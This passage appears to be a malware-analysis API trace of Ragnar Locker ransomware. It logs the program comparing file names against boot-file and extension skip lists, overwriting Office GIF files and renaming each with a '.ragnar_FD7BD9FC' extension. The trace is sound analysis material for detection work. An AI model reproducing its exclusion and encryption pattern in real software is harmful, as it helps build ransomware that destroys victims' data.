lpString2="ntldr") returned -1 [0099.711] lstrcmpiW (lpString1="BD15275_.GIF", lpString2="ntuser.dat") returned -1 [0099.711] lstrcmpiW (lpString1="BD15275_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.711] lstrcmpiW (lpString1="BD15275_.GIF", lpString2="ntuser.ini") returned -1 [0099.711] lstrcmpiW (lpString1="BD15275_.GIF", lpString2="thumbs.db") returned -1 [0099.711] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.711] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.711] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.711] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.711] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.711] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.711] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15275_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15275_.gif")) returned 0x20 [0099.711] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15275_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15275_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.712] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=63) returned 1 [0099.712] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x36, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.712] GetProcessHeap () returned 0x580000 [0099.712] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.712] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.713] VirtualAlloc (lpAddress=0x0, dwSize=0x3f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.713] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.713] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.713] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3f, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x3f, lpOverlapped=0x0) returned 1 [0099.713] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.713] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3f, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.713] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x3f, lpOverlapped=0x0) returned 1 [0099.713] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.713] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.713] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.713] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.713] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.714] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.714] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.715] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.715] GetProcessHeap () returned 0x580000 [0099.715] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.715] CloseHandle (hObject=0x10c) returned 1 [0099.715] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15275_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15275_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15275_.GIF" [0099.715] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15275_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15275_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15275_.GIF.ragnar_FD7BD9FC" [0099.715] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15275_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15275_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15275_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15275_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.718] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3a2c400, ftCreationTime.dwHighDateTime=0x1bd4f3f, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc3a2c400, ftLastWriteTime.dwHighDateTime=0x1bd4f3f, nFileSizeHigh=0x0, nFileSizeLow=0x49, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15276_.GIF", cAlternateFileName="")) returned 1 [0099.718] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.718] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD15276_.GIF" | out: lpString1="BD15276_.GIF") returned="BD15276_.GIF" [0099.718] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15276_.GIF") returned=".GIF" [0099.718] lstrcmpiW (lpString1="BD15276_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.718] lstrcmpiW (lpString1="BD15276_.GIF", lpString2="autorun.inf") returned 1 [0099.718] lstrcmpiW (lpString1="BD15276_.GIF", lpString2="boot.ini") returned -1 [0099.718] lstrcmpiW (lpString1="BD15276_.GIF", lpString2="bootfont.bin") returned -1 [0099.718] lstrcmpiW (lpString1="BD15276_.GIF", lpString2="bootsect.bak") returned -1 [0099.718] lstrcmpiW (lpString1="BD15276_.GIF", lpString2="bootmgr") returned -1 [0099.718] lstrcmpiW (lpString1="BD15276_.GIF", lpString2="bootmgr.efi") returned -1 [0099.718] lstrcmpiW (lpString1="BD15276_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.718] lstrcmpiW (lpString1="BD15276_.GIF", lpString2="desktop.ini") returned -1 [0099.719] lstrcmpiW (lpString1="BD15276_.GIF", lpString2="iconcache.db") returned -1 [0099.719] lstrcmpiW (lpString1="BD15276_.GIF", lpString2="ntldr") returned -1 [0099.719] lstrcmpiW (lpString1="BD15276_.GIF", lpString2="ntuser.dat") returned -1 [0099.719] lstrcmpiW (lpString1="BD15276_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.719] lstrcmpiW (lpString1="BD15276_.GIF", lpString2="ntuser.ini") returned -1 [0099.719] lstrcmpiW (lpString1="BD15276_.GIF", lpString2="thumbs.db") returned -1 [0099.719] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.719] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.719] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.719] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.719] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.719] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.719] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15276_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15276_.gif")) returned 0x20 [0099.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15276_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15276_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.719] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=73) returned 1 [0099.719] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x40, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.720] GetProcessHeap () returned 0x580000 [0099.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.720] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.720] VirtualAlloc (lpAddress=0x0, dwSize=0x49, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.721] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.721] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.721] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x49, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x49, lpOverlapped=0x0) returned 1 [0099.721] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.721] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x49, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.721] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x49, lpOverlapped=0x0) returned 1 [0099.721] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x49, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.721] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.721] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x49, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.721] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.721] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.721] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.721] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.721] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.722] GetProcessHeap () returned 0x580000 [0099.722] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.722] CloseHandle (hObject=0x10c) returned 1 [0099.722] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15276_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15276_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15276_.GIF" [0099.722] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15276_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15276_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15276_.GIF.ragnar_FD7BD9FC" [0099.722] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15276_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15276_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15276_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15276_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.723] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2719700, ftCreationTime.dwHighDateTime=0x1bd4f3f, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc2719700, ftLastWriteTime.dwHighDateTime=0x1bd4f3f, nFileSizeHigh=0x0, nFileSizeLow=0x3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15277_.GIF", cAlternateFileName="")) returned 1 [0099.723] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.723] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD15277_.GIF" | out: lpString1="BD15277_.GIF") returned="BD15277_.GIF" [0099.723] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15277_.GIF") returned=".GIF" [0099.723] lstrcmpiW (lpString1="BD15277_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.723] lstrcmpiW (lpString1="BD15277_.GIF", lpString2="autorun.inf") returned 1 [0099.723] lstrcmpiW (lpString1="BD15277_.GIF", lpString2="boot.ini") returned -1 [0099.723] lstrcmpiW (lpString1="BD15277_.GIF", lpString2="bootfont.bin") returned -1 [0099.723] lstrcmpiW (lpString1="BD15277_.GIF", lpString2="bootsect.bak") returned -1 [0099.723] lstrcmpiW (lpString1="BD15277_.GIF", lpString2="bootmgr") returned -1 [0099.723] lstrcmpiW (lpString1="BD15277_.GIF", lpString2="bootmgr.efi") returned -1 [0099.723] lstrcmpiW (lpString1="BD15277_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.723] lstrcmpiW (lpString1="BD15277_.GIF", lpString2="desktop.ini") returned -1 [0099.723] lstrcmpiW (lpString1="BD15277_.GIF", lpString2="iconcache.db") returned -1 [0099.723] lstrcmpiW (lpString1="BD15277_.GIF", lpString2="ntldr") returned -1 [0099.724] lstrcmpiW (lpString1="BD15277_.GIF", lpString2="ntuser.dat") returned -1 [0099.724] lstrcmpiW (lpString1="BD15277_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.724] lstrcmpiW (lpString1="BD15277_.GIF", lpString2="ntuser.ini") returned -1 [0099.724] lstrcmpiW (lpString1="BD15277_.GIF", lpString2="thumbs.db") returned -1 [0099.724] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.724] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.724] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.724] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.724] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.724] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.724] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15277_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15277_.gif")) returned 0x20 [0099.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15277_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15277_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.724] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=60) returned 1 [0099.724] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x33, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.724] GetProcessHeap () returned 0x580000 [0099.724] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.725] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.725] VirtualAlloc (lpAddress=0x0, dwSize=0x3c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.725] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.725] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.726] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3c, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x3c, lpOverlapped=0x0) returned 1 [0099.726] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.726] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.726] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3c, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x3c, lpOverlapped=0x0) returned 1 [0099.726] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.726] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.726] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.726] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.726] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.726] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.726] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.735] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.735] GetProcessHeap () returned 0x580000 [0099.735] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.735] CloseHandle (hObject=0x10c) returned 1 [0099.735] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15277_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15277_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15277_.GIF" [0099.735] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15277_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15277_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15277_.GIF.ragnar_FD7BD9FC" [0099.735] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15277_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15277_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15277_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15277_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.737] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42390f00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd0a560, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x42390f00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21294_.GIF", cAlternateFileName="")) returned 1 [0099.737] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.737] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21294_.GIF" | out: lpString1="BD21294_.GIF") returned="BD21294_.GIF" [0099.737] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21294_.GIF") returned=".GIF" [0099.737] lstrcmpiW (lpString1="BD21294_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.737] lstrcmpiW (lpString1="BD21294_.GIF", lpString2="autorun.inf") returned 1 [0099.737] lstrcmpiW (lpString1="BD21294_.GIF", lpString2="boot.ini") returned -1 [0099.737] lstrcmpiW (lpString1="BD21294_.GIF", lpString2="bootfont.bin") returned -1 [0099.737] lstrcmpiW (lpString1="BD21294_.GIF", lpString2="bootsect.bak") returned -1 [0099.737] lstrcmpiW (lpString1="BD21294_.GIF", lpString2="bootmgr") returned -1 [0099.737] lstrcmpiW (lpString1="BD21294_.GIF", lpString2="bootmgr.efi") returned -1 [0099.737] lstrcmpiW (lpString1="BD21294_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.737] lstrcmpiW (lpString1="BD21294_.GIF", lpString2="desktop.ini") returned -1 [0099.737] lstrcmpiW (lpString1="BD21294_.GIF", lpString2="iconcache.db") returned -1 [0099.737] lstrcmpiW (lpString1="BD21294_.GIF", lpString2="ntldr") returned -1 [0099.737] lstrcmpiW (lpString1="BD21294_.GIF", lpString2="ntuser.dat") returned -1 [0099.737] lstrcmpiW (lpString1="BD21294_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.737] lstrcmpiW (lpString1="BD21294_.GIF", lpString2="ntuser.ini") returned -1 [0099.737] lstrcmpiW (lpString1="BD21294_.GIF", lpString2="thumbs.db") returned -1 [0099.737] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.737] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 